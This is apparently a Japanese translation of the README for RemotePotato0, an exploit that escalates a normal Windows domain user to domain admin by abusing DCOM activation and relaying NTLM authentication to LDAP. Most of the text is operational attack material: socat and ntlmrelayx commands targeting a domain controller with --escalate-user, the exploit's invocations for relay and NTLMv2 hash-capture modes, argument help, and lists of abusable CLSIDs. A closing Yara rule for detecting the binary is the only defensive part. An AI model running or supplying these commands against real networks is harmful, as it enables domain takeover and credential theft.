
2022年10月21日更新: RemotePotato0の主なエクスプロイトシナリオであるRPC->LDAPが修正されました。詳細はこちらへ --> https://twitter.com/splinter_code/status/1583555613950255104
もう一つの「修正しない」Windows特権昇格、ユーザーからドメイン管理者へ。
RemotePotato0は、一般ユーザーからドメイン管理者への特権昇格を可能にするエクスプロイトです。
簡単に説明すると:
DCOMアクティベーションサービスを悪用し、ターゲットマシンに現在ログインしている任意のユーザーのNTLM認証をトリガーします。 ターゲットマシンには特権ユーザー(例:ドメイン管理者ユーザー)がログインしている必要があります。 NTLM type1がトリガーされると、クロスプロトコルリレーサーバーをセットアップし、特権type1メッセージを受信して、RPCプロトコルをアンパックし、認証をHTTP経由でパッキングすることで、第三者リソースにリレーします。受信側では、さらにリレーノード(例:ntlmrelayx)をセットアップするか、特権リソースに直接リレーできます。 RemotePotato0は、マシンにログインしているすべてのユーザーのNTLMv2ハッシュを取得および窃取することもできます。
攻撃マシン (10.0.0.20)
被害マシン (10.0.0.45)
被害ドメインコントローラ (10.0.0.10)
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.0.0.45:9999 &
sudo ntlmrelayx.py -t ldap://10.0.0.10 --no-wcf-server --escalate-user normal_user
注: Windows Server <= 2016 を使用している場合、ネットワークリダイレクタ(socat)は不要です。なぜなら、oxid解決をローカルで実行できるためです。
query user
.\RemotePotato0.exe -m 0 -r 10.0.0.20 -x 10.0.0.20 -p 9999 -s 1
.\RemotePotato0.exe -m 1 -l 9997 -r 10.0.0.20
rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm
query user
.\RemotePotato0.exe -m 2 -s 1
.\RemotePotato0.exe -m 3 -l 9997
rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm
RemotePotato0
@splinter_code & @decoder_it
必須引数:
-m モジュール
有効な値:
0 - Rpc2Httpクロスプロトコルリレーサーバー + Potatoトリガー(デフォルト)
1 - Rpc2Httpクロスプロトコルリレーサーバー
2 - RPCキャプチャ(ハッシュ)サーバー + Potatoトリガー
3 - RPCキャプチャ(ハッシュ)サーバー
その他の引数:(使用するモジュールによって必須またはオプションの場合があります)
-r リモートHTTPリレーサーバーのIP
-t リモートHTTPリレーサーバーのポート(デフォルト80)
-x 不正なOxid ResolverのIP(デフォルト127.0.0.1)
-p 不正なOxid Resolverのポート(デフォルト9999)
-l RPCリレーサーバーのリスニングポート(デフォルト9997)
-s クロスセッションアクティベーション攻撃のセッションID(デフォルト無効)
-c CLSID(デフォルト {5167B42F-C111-47A1-ACC4-8EABE61B0B54})
様々なWindowsバージョンで使用可能なCLSIDのリスト:
Windows Server 2019
{0002DF02-0000-0000-C000-000000000046} - BrowserBroker Class
{0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4} - AuthBrokerUI
{5167B42F-C111-47A1-ACC4-8EABE61B0B54} - Easconsent.dll
{924DC564-16A6-42EB-929A-9A61FA7DA06F} - 非AppContainerクライアント向け認証UI CredUI Out of Proc Helper
{934b410c-43e4-415e-9935-fbc081ba93a9} - UserInfoDialog
{BA441419-0B3F-4FB6-A903-D16CC14CCA44} - CLSID_LockScreenContentionFlyout
{c58ca859-80bc-48df-8f06-ffa94a405bff} - Picker Host
{f65817c8-dd85-4136-89f0-b9d12939f2c4} - IsolatedMessageDialogFactory
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} - SPPUIObjectInteractive Class
{f8842f8e-dafe-4b37-9d38-4e0714a61149} - CastServerInteractiveUser
Windows Server 2016
{924DC564-16A6-42EB-929A-9A61FA7DA06F}
{f65817c8-dd85-4136-89f0-b9d12939f2c4}
{BA441419-0B3F-4FB6-A903-D16CC14CCA44}
{0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4}
{934b410c-43e4-415e-9935-fbc081ba93a9}
{f8842f8e-dafe-4b37-9d38-4e0714a61149}
{0002DF02-0000-0000-C000-000000000046}
{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
{c58ca859-80bc-48df-8f06-ffa94a405bff}
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
Windows Server 2008 R2
{FCC74B77-EC3E-4dd8-A80B-008A702075A9}
{9BA05972-F6A8-11CF-A442-00A0C90A8F39}
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
より完全なリストはこちらから --> http://ohpe.it/juicy-potato/CLSID/
RemotePotato0バイナリを検出するYaraルール:
rule SentinelOne_RemotePotato0_privesc {
meta:
author = "SentinelOne"
description = "Detects RemotePotato0 binary"
reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"
strings:
$import1 = "CoGetInstanceFromIStorage"
$istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii
$meow_header = { 4d 45 4f 57 }
$clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase wide ascii
$clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
condition:
(uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)
}